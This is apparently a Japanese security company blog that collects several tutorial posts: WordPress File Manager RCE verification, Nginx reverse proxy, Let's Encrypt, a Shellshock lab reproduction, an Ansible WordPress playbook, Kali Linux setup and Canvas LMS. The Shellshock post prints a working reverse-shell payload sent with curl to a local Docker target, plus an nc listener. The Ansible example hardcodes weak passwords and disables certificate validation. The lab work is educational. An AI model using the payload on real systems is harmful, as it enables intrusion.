Armoris日記 File Manager RCE検証編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

File Manager Plugin　Zero-Day

今週の Armoris日記は WordPress Plugin の一つで人気の高い File Manager に存在する脆弱性について検証します。

この脆弱性は 2020/09/01 に情報が出た新しいものになります。
ここ数日で話題になっている本脆弱性ですが、簡単に言えば認証されていない第三者が悪意のあるファイルをアップロードし実行することで、サイト上で任意のコードを実行する可能があるというものです。
また、この脆弱性を利用してアクセスできるのはwp-content/plugins/wp-file-manager/lib/files/以下のみです。

詳しい脆弱性情報については以下を参照してください。
Wordfence
JPCERT/CC

2020/09/03時点で WPScan WordPress Vulnerability Database で PoC が公開されていないため、PoC については記載しません。

今回検証するのは WordPressの File Managerプラグイン です。

検証環境

以下は今回検証するにあたって用意した環境になります。

WordPress は Vagrant と Ansible を使用して環境構築を行なっています。

Name	Version
WordPress	5.5.1
File Manager	6.0

Server情報

プラグインインストールと準備

WordPress のインストールが完了したらプラグインのインストールを行います。
今回はバージョン 6.0 をプラグイン公式サイトからダウンロードして使用します。

$ wget https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip
--2020-09-02 20:01:42--  https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip
Resolving downloads.wordpress.org (downloads.wordpress.org)... 198.143.164.250
Connecting to downloads.wordpress.org (downloads.wordpress.org)|198.143.164.250|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3675292 (3.5M) [application/octet-stream]
Saving to: 'wp-file-manager.6.0.zip'

wp-file-manager.6.0.zip                 100%[=============================================================================>]   3.50M   278KB/s    in 15s

2020-09-02 20:01:58 (247 KB/s) - 'wp-file-manager.6.0.zip' saved [3675292/3675292]
$ ls
wp-file-manager.6.0.zip

プラグインがダウンロードできたら次にプラグインの zip ファイルを展開します。
今回使用するプラグインは二重に zip 化されていたため２回解凍します。

$ sudo unzip wp-file-manager.6.0.zip
Archive:  wp-file-manager.6.0.zip
   creating: wp-file-manager/
 extracting: wp-file-manager/wp-file-manager-6.O.zip
$ cd wp-file-manager
wp-file-manager$ sudo unzip wp-file-manager-6.O.zip
~~~~~~~~~~~~~~~~
  inflating: wp-file-manager/languages/wp-file-manager-gd.mo
  inflating: wp-file-manager/languages/wp-file-manager-hi_IN.po
  inflating: wp-file-manager/languages/wp-file-manager-fi.mo
wp-file-manager$ ls
wp-file-manager  wp-file-manager-6.O.zip

プラグインファイルの解凍が完了したら WordPress のプラグインディレクトリに移動させます。

wp-file-manager$ sudo cp -r wp-file-manager /var/www/wordpress/wp-content/plugins/

この時ディレクトリの所有者とグループがwww-dataになっている事を確認します。
rootなどになっている場合は所有者とグループを変更します。

$ cd /var/www/wordpress/wp-content/plugins/
/var/www/wordpress/wp-content/plugins$ ls -la
total 24
drwxr-xr-x 4 nobody nogroup 4096 Sep  2 20:09 .
drwxr-xr-x 4 nobody nogroup 4096 Sep  1 11:54 ..
drwxr-xr-x 4 nobody nogroup 4096 Sep  1 11:54 akismet
-rw-r--r-- 1 nobody nogroup 2578 Mar 18  2019 hello.php
-rw-r--r-- 1 nobody nogroup   28 Jun  5  2014 index.php
drwxr-xr-x 9 root   root    4096 Sep  2 20:09 wp-file-manager
/var/www/wordpress/wp-content/plugins$ sudo chown -hR www-data:www-data wp-file-manager/
/var/www/wordpress/wp-content/plugins$ ls -la
total 24
drwxr-xr-x 4 nobody   nogroup  4096 Sep  2 20:09 .
drwxr-xr-x 4 nobody   nogroup  4096 Sep  1 11:54 ..
drwxr-xr-x 4 nobody   nogroup  4096 Sep  1 11:54 akismet
-rw-r--r-- 1 nobody   nogroup  2578 Mar 18  2019 hello.php
-rw-r--r-- 1 nobody   nogroup    28 Jun  5  2014 index.php
drwxr-xr-x 9 www-data www-data 4096 Sep  2 20:09 wp-file-manager

プラグインディレクトリの所有者とグループがwww-dataになっている事を確認したら WordPress にアクセスしてプラグインを有効化します。

実際に検証してみる

まずは脆弱性を利用してコマンドを実行するためのトリガーとなるファイルをアップロードします。
次にアップロードしたファイルをトリガーにしてmkdir hogeを実行してlsコマンドで作成されたかを確認します。
画像のように、実際に hoge ディレクトリが作成されlsコマンドで確認することができました。

ブラウザからもアップロードしたファイルをトリガーにcat /etc/passwdコマンドの実行が可能であり攻撃者は簡単に脆弱性を利用できることがわかります。

最後に

今回検証した脆弱性はCVSS Score: 10.00 (Critical)が割り当てられており危険度が高いです。攻撃者が干渉できるのは特定ディレクトリのみですが、ここに何らかのファイルをアップロードしていた場合攻撃者によって削除されたり、閲覧される可能性もあり非常に危険だと感じました。
また、今回のプラグインが導入されているサイトはGoogle検索で簡単に見つけることができ、現時点で PoC がいくつか出回っているため、実際に脆弱性を利用した攻撃が行われています。

皆さんも自身で運営しているサイトのログを確認したり、CMS やプラグインに関する情報を調べて確認してみてください。

Armoris日記 NGINX Reverse Proxy編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

NGINX でリバースプロキシ

先週はウェブサイトの HTTPS化について書きましたが、今週の Armoris日記はウェブ繋がりで Nginx を使ったリバースプロキシのやり方について解説したいと思います。リバースプロキシは使えるようになると非常に便利な機能であり、ウェブサイトのセキュリティ向上につながる場合もあります。

NGINX Reverse Proxy 公式ドキュメント

環境紹介

今回は VirtualBox を使用してNginx サーバーと WordPress サーバーを用意しました。WordPress サーバーは以前 Armoris日記で紹介した Ansible を使用して準備しています。
今回 WordPressサーバーには内部ネットワークインターフェースのみを設定し、ゲストOS間のみ通信ができるようにしています。
各種詳細な情報は以下の通りです。

Nginx サーバー

WordPress サーバー

Nginx をインストール

まずは Nginxサーバーに Nginx をインストールします。
今回はaptを使用してインストールを行います。
Ubuntu 以外を使用している場合は以下の公式サイトのインストール手順を参考に使用している環境に合わせて作業を行ってください。
公式のインストールに関するページ

$ sudo apt update
$ sudo apt -y install nginx

aptでインストールする場合は以上で完了になります。
最後にバージョンを表示してインストールできている事を確認します。

$ nginx -v
nginx version: nginx/1.18.0 (Ubuntu)

また、Nginx をインストールしたサーバーにアクセスすると以下の画像のようなデフォルトページが表示されます。

Nginx の設定

インストールが完了したらリバースプロキシの設定を行なっていきます。
/etc/nginx/conf.dに新しくwordpress.confを作成して作業をします。

$ sudo touch wordpress.conf

wordpress.confの中身は以下のようにします。

server{
        listen 80;
        server_name hoge.com default_server;

        location / {
                proxy_redirect off;
                proxy_set_header Host             $host;
                proxy_set_header X-Real-IP        $remote_addr;
                proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
                proxy_set_header X-Scheme         $scheme;
                proxy_set_header X-Script-Name    /;
                proxy_set_header Authorization "";
                proxy_set_header X-Forwarded-User $remote_user;

                proxy_pass http://135.114.10.11;
        }
}

最後に Nginx を再起動して Nginx サーバーのアドレスでアクセスして WordPress の画面が表示される事を確認します。

$ sudo service nginx restart
$ sudo service nginx status
● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
     Active: active (running) since Thu 2020-08-27 07:16:24 UTC; 3s ago
       Docs: man:nginx(8)
    Process: 4151 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
    Process: 4161 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
   Main PID: 4172 (nginx)
      Tasks: 2 (limit: 4621)
     Memory: 2.6M
     CGroup: /system.slice/nginx.service
             ├─4172 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
             └─4173 nginx: worker process

Aug 27 07:16:24 ubuntu20-04-server systemd[1]: Starting A high performance web server and a reverse proxy server...
Aug 27 07:16:24 ubuntu20-04-server systemd[1]: Started A high performance web server and a reverse proxy server.

終わりに

今回紹介したリバースプロキシを使う事で、ウェブサイトが動いているサーバーに直接アクセスさせなくてもサイトを表示することができます。こうすることでサイトのセキュリティリスクも低くなるのではないかと思います。
また、より複雑なアクセス制御などもできるためウェブサイトでできることが広がるのではないかと思います。

Nginx には今回紹介した以外にも多くの機能や設定項目があるため、ぜひ自分の使いやすいようにカスタマイズしてみてください。

Armoris日記 Let’s Encrypt編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Let’s Encrypt を使ってサイトを HTTPS 化する

昨今一部ブラウザの比較的新しいバージョンで、アクセスしたWebサイトが SSL/TLS 設定されていない場合、「このサイトは安全ではありません」というような警告が表示されるようになっています。
このような警告が出たからと言って、必ずしも当該サイトに危険性があると言うわけではないのですが、サイトの訪問者の中には不安に感じる人もいると思います。

そこで今回は Let’s Encrypt を使用して簡単に SSL/TLS の設定を行い、サイトを HTTPS 対応のサイトにする方法を紹介します。

Let’s Encrypt についての詳しい情報はこちらの wiki をご覧ください。
Let’s Encrypt 公式サイト はこちら。

使用した環境

今回使用した環境は以下になります。
Web サーバーは Nginx を使用しています。

サーバー環境

Nginx 環境

Certbot

事前準備

まずは Cloudflare などでドメインによる名前解決ができるようにしておきます。
画像は Cloudflare での設定例です。

サーバー側で HTTPS 通信用に 443 ポートを使用できるようにしておきます。
これは利用している環境に合わせて作業を行ってください。

Certbot をインストール

Let’s Encrypt で証明書を取得するために Certbot をインストールします。

$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt update
$ sudo apt -y install certbot

Nginx の設定

Certbot のインストールが完了したら Nginx の設定を変更します。
/etc/nginx/conf.d/example.conf

server {
  listen 443;
  listen [::]:443 ssl;
  server_name example.com;

  ssl                   on;
  ssl_certificate       /etc/letsencrypt/live/example.com/fullchain.pem;
  ssl_certificate_key   /etc/letsencrypt/live/example.com/privkey.pem;

  ssl_session_timeout   5m;

  ssl_protocols              TLSv1.2;
  ssl_ciphers                HIGH:!aNULL:!MD5;
  ssl_prefer_server_ciphers  on;

  root /var/www/html;
  index index.nginx-debian.html;
}

config の設定が完了したら Nginx を再起動します。

$ sudo service nginx restart

証明書をインストール

ここまでの手順が完了したらいよいよ Certbot を使用して証明書をインストールします。
webroot-path やドメイン名、メールアドレスは適所環境に合わせて変更してください。

$ sudo certbot certonly --webroot --webroot-path /var/www/html -d example.com -m user@user.local
    ~~~~~~~~~~~~~~~~~~~ 省略 ~~~~~~~~~~~~~~~~~~~
IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/example.com/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/example.com/privkey.pem
   Your cert will expire on 2020-00-00. To obtain a new or tweaked
   version of this certificate in the future, simply run certbot again
   with the "certonly" option. To non-interactively renew *all* of
   your certificates, run "certbot renew"
 - If you like Certbot, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

証明書のインストールが完了したら https://example.com で接続できるようになります。

自動更新の設定

Let’s Encrypt の証明書は有効期限が 90日なので期限が切れる前に更新しなければいけません。手動で更新することもできますが、更新し忘れることもあるため自動更新の設定をお勧めします。

自動更新の設定が完了すると以下のように success と表示されます。

$ sudo certbot renew --dry-run
    ~~~~~~~~~~~~~~~~~~~ 省略 ~~~~~~~~~~~~~~~~~~~
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
** DRY RUN: simulating 'certbot renew' close to cert expiry
**          (The test certificates below have not been saved.)

Congratulations, all renewals succeeded. The following certs have been renewed:
  /etc/letsencrypt/live/example.com/fullchain.pem (success)
** DRY RUN: simulating 'certbot renew' close to cert expiry
**          (The test certificates above have not been saved.)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

以上で一通りの設定が完了しました。

終わりに

冒頭でも書いた通り、最近のブラウザでは HTTPS化されていないサイトにアクセスしようとすると警告が出るようになりました。
今回紹介した方法で Let’s Encrypt による証明書の発行を行い、サイトの HTTPS化を簡単に行うことができます。

個人でサイトなどを作成した際はぜひ今回の方法を参考にサイトを HTTPS化してみてください。

Armoris日記 Shellshock編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Shellshock を手元で再現してみる

Shellshock とは Linux などの Unix系の OS環境で最もよく使われているシェルの、bash に存在する脆弱性を利用した攻撃のことで、割り当てられているCVE番号はCVE-2014-7169とCVE-2014-6271です。
この脆弱性を利用することでネットワーク経由で攻撃者がサーバーに接続したり、任意のコードを実行することができます。

詳しくはトレンドマイクロさんの記事を参照してください。

今回はCVE-2014-6271の検証を行います。
今回は Docker を使用して検証環境を構築しています。
GitHub URL

環境準備

基本的に全ての手順がちゃんと GitHub の README に書かれているので、その手順に沿って作業を進めます。
今回使用した環境は以下のとおりです。

ホスト 情報

Docker 情報

Dockerの準備

以下の手順に沿って Docker をインストールし、dockerグループにユーザーを追加します。

$ sudo apt-get install -y \
    apt-transport-https \
    ca-certificates \
    curl \
    software-properties-common
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
$ sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   $(lsb_release -cs) \
   stable"
$ sudo apt-get update
$ sudo apt-get install -y docker-ce
$ sudo usermod -aG docker UserName

Git Clone と対象サーバーの起動

Docker がインストールできたら GitHub からコードをダウンロードし、攻撃対象のサーバーを起動します。

$ git clone https://github.com/opsxcq/exploit-CVE-2014-6271.git
$ cd exploit-CVE-2014-6271/
$ docker run -d --rm -it -p 8085:80 vulnerables/cve-2014-6271

サーバーが起動したか確認します。

$ docker ps -a
CONTAINER ID        IMAGE                       COMMAND              CREATED             STATUS              PORTS                  NAMES
b67d34567141        vulnerables/cve-2014-6271   "/main.sh default"   About an hour ago   Up About an hour    0.0.0.0:8085->80/tcp   gifted_jones

サーバー内にファイルを配置する

対象サーバーに侵入後に確認用としてファイルを設置します。

$ docker exec -it ContainerID /bin/bash
$ echo "secret token" > .admin_file

実際に対象サーバーに攻撃を試みる

まずはホストマシンで以下のコマンドを実行し待ち状態のセッションを作ります。

$ nc -l -p 5555

次に別のセッションのホストマシンから curl コマンドを使用して攻撃コードを実行します。

$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/localhost-ip/5555 0>&1" http://localhost-ip:8085/cgi-bin/vulnerable

攻撃コードを実行すると先程の待ち状態だったセッションが以下のようになっていると思います。

www-data@ContainerID:/usr/lib/cgi-bin$

上記のようになったら先程設置したファイルを確認します。

www-data@ContainerID:/usr/lib/cgi-bin$ cd /
www-data@ContainerID:/$ cat .admin_file
secret token

事前に / 直下に作成した .admin_file の中身が閲覧できることを確認した。

最後に

今回検証した Shellshock と言われる脆弱性は、多くの Linux システムにおいてデフォルトで使用されているシェルに存在したことで、かなり広範囲に影響が出たようです。
Shellshock のように広く利用されているソフトウェアやサービスで脆弱性が見つかった場合多くの人たちに影響を与えてしまいます。そのため脆弱性が発表された場合は脆弱性が修正されたバージョンにアップデートしたり、情報を集めて対策する必要があると強く感じました。

また、今回検証した脆弱性が発見されたのはかなり前のことですが、現在でも該当するバージョンの bash を利用している場合はすぐにアップデートすることをお勧めします。

Armoris日記 Ansible編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Ansible を利用して手軽に検証環境構築

今回使用する Ansible とはコマンド一つで手軽に環境構築が可能な構成管理ツールの一つです。
ここでは Ansible を実際に使用して、コマンド一つで手軽に WordPress の最新環境を構築する方法を紹介します。

検証環境の紹介

検証用に用意した環境は以下の通りです。

• Ansible用 IP : 172.16.10.24

• WordPress用 IP : 172.16.10.25

Ansible-server と WordPress-server をそれぞれ VirtualBoxで作成しています。
また、今回は Ansible 用のサーバーから WordPress 用のサーバーに公開鍵認証で SSH ができるようにしています。

Ansible をセットアップ

Ansible の導入は非常に簡単です。Ansible では Python を使用するため pip を使ってインストールすることができます。
現在では Python 2.x のサポートが終了しているため、Python3 の環境に合わせてインストールを行います。
用意した Ubuntu20.04 では Python 3.8.2 がインストールされていました。

インストール

まずは Ansible をインストールするために pip3 をインストールします。

$ sudo apt update
$ sudo apt install python3-pip

pip3 がインストールされたか確認します。

$ pip3 --version
pip 20.0.2 from /usr/lib/python3/dist-packages/pip (python 3.8)

pip3 がインストールできたらいよいよ Ansible をインストールします。

$ pip3 install ansible

Ansible がインストールできたか確認します。

$ ansible --version
ansible 2.9.11
  config file = None
  configured module search path = ['/home/ansible/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']
  ansible python module location = /home/ansible/.local/lib/python3.8/site-packages/ansible
  executable location = /home/ansible/.local/bin/ansible
  python version = 3.8.2 (default, Jul 16 2020, 14:00:26) [GCC 9.3.0]

Ansible を使う

インストールまで完了したら Ansible の動作確認をします。 まずは各種ファイルを入れるためのディレクトリを作成します。

$ mkdir wordpress
$ cd wordpress

次に環境構築をしたいサーバーの情報をファイルに書き込みます。 ipアドレスやユーザー名等は環境に合わせて変更してください。

$ echo "[server]
172.16.10.25 ansible_ssh_user=wordpress ansible_ssh_private_key_file=~/.ssh/id_rsa ansible_python_interpreter=/usr/bin/python3" > host

ここまでの設定ができたら環境構築用のサーバーと Ansible を通して疎通確認を行います。
SUCCESS と表示されれば成功です。

$ ansible -i host server -m ping
172.16.10.25 | SUCCESS => {
    "changed": false,
    "ping": "pong"
}

WordPress の環境構築

疎通確認まで成功したらいよいよ Ansible を使用して WordPress の環境を構築していきます。
まずは設定事項が書かれた yml を用意します。今回は私が普段使用しているものを例として掲載します。
これを wordpress.yml として保存します。

▶ wordpress.yml を表示

---
- hosts: server
  vars:
    - ansible_sudo_pass: password
    - dbname: wordpress
    - dbuser: wordpress
    - dbpassword: wordpress
    - db_conf_name: define( 'DB_NAME', 'wordpress' );
    - db_conf_user: define( 'DB_USER', 'wordpress' );
    - db_conf_password: define( 'DB_PASSWORD', 'wordpress' );
  tasks:
    - name: Update apt cache
      apt: update_cache=yes cache_valid_time=3600
      become: yes
    - name: set password for root
      shell: echo "mariadb-server-10.1 mysql-server/root_password password root" | sudo debconf-set-selections
      become: yes
    - name: set password for root
      shell: echo "mariadb-server-10.1 mysql-server/root_password_again password root" | sudo debconf-set-selections
      become: yes
    - name: install mariadb
      apt:
        name: mariadb-server
        state: present
      become: yes
    - name: enable and start mariadb
      systemd:
        name: mysql
        enabled: yes
        state: started
      become: yes
    - name: Install required software
      apt:
        name:
          - libmysqlclient-dev
          - python3-pip
          - python-setuptools
          - build-essential
          - libssl-dev
          - libffi-dev
          - python-dev
      become: yes
    - name: install MySQLclient
      pip:
        name: mysqlclient
        state: present
      become: yes
    - name: create db
      mysql_db:
        name={{ dbname }}
        state=present
        encoding=utf8
        login_user=root
      become: yes
    - name: create and grant a database user
      mysql_user:
        name={{ dbuser }}
        password={{ dbpassword }}
        priv="{{ dbuser }}.*:ALL"
        state=present
      become: yes
    - name: Install apache and php modules
      apt:
        name:
          - apache2
          - libapache2-mod-php*
          - php-gd
          - php-json
          - php-mysql
          - php-pdo
          - php-curl
          - php-mbstring
          - php-xml
          - php-zip
          - php-opcache
      become: yes

    - name: Download WordPress
      get_url:
        url=https://wordpress.org/latest.tar.gz
        dest=/tmp/wordpress.tar.gz
        validate_certs=no
    - name: Extract WordPress
      unarchive: src=/tmp/wordpress.tar.gz dest=/var/www/ copy=no
      become: yes
    - name: Update default Apache site
      lineinfile:
        dest=/etc/apache2/sites-enabled/000-default.conf
        regexp="(.)+DocumentRoot /var/www/html"
        line="DocumentRoot /var/www/wordpress"
      become: yes
    - name: Copy sample config file
      command: mv /var/www/wordpress/wp-config-sample.php /var/www/wordpress/wp-config.php creates=/var/www/wordpress/wp-config.php
      become: yes
    - name: Update WordPress config file DB_NAME
      lineinfile: >-
        dest='/var/www/wordpress/wp-config.php'
        backrefs=yes
        regexp='^(?=.*DB_NAME).*$'
        line={{ db_conf_name }}
      become: yes
    - name: Update WordPress config file DB_USER
      lineinfile: >-
        dest='/var/www/wordpress/wp-config.php'
        backrefs=yes
        regexp='^(?=.*DB_USER).*$'
        line={{ db_conf_user }}
      become: yes
    - name: Update WordPress config file DB_PASSWORD
      lineinfile: >-
        dest='/var/www/wordpress/wp-config.php'
        backrefs=yes
        regexp='^(?=.*DB_PASSWORD).*$'
        line={{ db_conf_password }}
      become: yes
    - name: restart apache
      service: name=apache2 state=restarted
      become: yes

ファイルを作成できたら最後に以下のコマンドを実行します。

$ ansible-playbook -i host wordpress.yml -vvv

大量のログが流れた後、最後に以下の画像のように表示されます。

その後 WordPress サーバーにブラウザからアクセスします。以下の画像のようにインストールページが表示されれば成功です。

最後に

今回は Ansible を実行するサーバーと環境構築をするサーバーの２つを用意して行いましたが、Ansible はローカルに対しても実行可能です。
他にも Ansible には便利な機能が多くあります。興味がありましたらぜひ調べてみてください。
また、Ansible は自分で yml ファイルを書くことでいろいろな環境構築をコマンド一つで出来るようになります。さらに yml ファイルがあれば同じ環境をすぐに作成、共有することができるため、環境構築の作業が非常に楽になるのではないでしょうか。

今後は Ansible を使用して環境構築を効率化していきましょう！

Armoris日記 Kali Linux編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

VirtualBox で Kali Linux 環境を作る際の注意点

今回は VirtualBox を使用して Kali Linux の環境を作る際の手順と、ちょっとした注意点を紹介します。
Kali Linux は Virtual Box 用の .ova ファイルも用意されていますが、今回は iso ファイルを使用する方法を紹介します。

Kali Linux の公式サイト

公式で示されているインストール条件は以下のとおり

iso ファイルのダウンロード

まずは iso ファイルをダウンロードします。
公式ダウンロードページにアクセスすると以下の画像のように Image タイプを選択してダウンロードできます。
ここで用意する環境にあったものをダウンロードしてください。
今回は一番上の Kali Linux 64-Bit (installer) を使用しています。使用しているネットワーク回線にもよりますが、大体3分ほど(20MB/s)でダウンロードが完了しました。

インストールと注意する点

iso ファイルのダウンロードが完了したら Virtual Boxでの作業に移ります。
まずは Virtual Box で 新規 を選択して下の画像のように名前やOSの種類など各種設定をします。

各種設定ができたら次にメモリ容量の割り当てを決めます。
ここで注意して欲しいのが Kali Linux はメモリ容量 2GB 以上が推奨されているため、初期値の 1024MB ではなく 2048MB(2GB) に変更します。こうすることで各種ツールを動かした際でも最低限ストレスなく使用することができます。

メモリ容量の設定を終えディスクの設定が完了すると、最後にディスクの作成場所とディスク容量の設定が出てきます。
ここでの注意点としてディスク容量がデフォルトの 8GB のままでは、apt をセットアップしている際にエラーが発生するということです。

この問題を回避するため、インストールの前提条件にあるようにディスク容量は 20GB以上 に変更しておきます。

ディスク容量の変更が終わったら 作成 を押して仮想マシンを追加します。
仮想マシンが作成されたら、起動を押して先ほどダウンロードした iso ファイルを選択して Start を押します。

iso ファイルを選択して起動した後は一般的な Linux と同じように用意したい環境に合わせてインストールをしてください。

Kali Linuxは正しく使いましょう

最後に Kali Linux について紹介しているサイトの多くで書かれていますが、Kali Linux は標準で脆弱性検証用のツールが入っています。
これらのツールは悪用することで攻撃に使用できる場合がありますが、あくまでも検証用として提供されているものになります。

自分の手元で試すことでわかることや、理解できることもあります。ツールを正しく使ってぜひいろいろな検証をしてみてください。

Armoris日記 Canvas編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Canvas LMSをお試し

現在CTFとは別に、今後DOJO内で動画コンテンツを提供したりトレーニング終了後にデジタルバッジの配布などを検討しており、これらが可能な学習用プラットフォームを探しています。

そこで今回はデジタルバッジに対応していることや、オープンソースのため手軽に使える、UI が比較的シンプルでわかりやすいという点から検討しているCanvas lmsを公式Quick Startを参考に構築してみました。

今回構築した環境

主なバージョン情報は以下の通りです。
また、今回はスクリプトを実行するだけで Docker を使用して自動でインストールできる Automated Setup ではなく Manual Setup の手順を参考にインストールしています。

Name	Version
Ubuntu	20.04
Ruby	2.7.0
PostgreSQL	9.5

なぜ Automated Setup ではなく Manual Setup なのか

実際には Automated Setup で紹介されているスクリプトを使用してインストールを試みていました。
しかしスクリプト実行中にいくつもエラーが発生することや、最終的にスクリプトが最後まで実行されインストールできた場合でも、以下の画像のようにファイルアップロードの挙動がおかしかったり、サイトが壊れていたりとCanvasがうまく動作しない状態でした。

また、今後実際に運用することが決まった場合は Docker ではなくサーバーに直接インストールすることになるため、おおよその手順と感覚をつかむために Manual Setup を使用しました。

Manual Setup でインストールしてみて

Manual Setup の手順を参考にインストールを進める際にも注意しなければいけないポイントがありました。それをいくつか紹介させていただきます。

１. 必ずまっさらな状態からインストールを行う

これはCanvasに限らず重要なことですが、一度他のものをインストールしたり作業した環境で構築しようとすると、バージョン違いによる干渉が起こったり別の作業で使用されたサービスが終了されておらず、意図した挙動にならない場合があります。

実際に Automated Setup で紹介されているスクリプトではインストール時にサーバー本体の DNS 設定を書き換えており、これによって名前解決ができなくなるなど他の作業に影響を及ぼしています。

以下の画像はスクリプト実行時の様子

２. Dependency Installation でいくつかエラーが出る

これについては今回使用した環境が Ubuntu 20.04 だったこともありますが、実際には Ruby はaptで入るもので問題ありませんでしたが、逆に postgresql はいくつか別の手順を踏むことでインストールできました。

３. サーバースペックは最低限記載されている程度は用意する

Quick Start にもディスク容量 150GB メモリ 8GB Quad Core CPU程度のスペックを用意してくださいと書いてあります。
実際にインストールするだけであればそこまでのディスク容量は必要ありませんが、メモリ容量とCPUは多めに割り当てておくといいと思います。 理由は主にcompile assets実行時の処理負荷軽減と待ち時間の短縮になるからです。

以下の画像はインストール後のディスク使用量

最後に

今回に限らず公式のレファレンスが間違っていたりわかりにくいことは多くあります。そういう時に出ているエラーについて検索したり原因を突き止めたり、似ている症状から原因を見つける力というのも重要だと感じました。

また、自分がインストールする際に使ったコマンドや手順をメモとして残すことで、他の誰かが次に同じことをしようとした際のヒントになるかもしれませんし、一度自分で整理することで似たような問題に遭遇した際より早く問題を解決できるようになると思います。

今回のArmoris日記が誰かの役に立てば幸いです。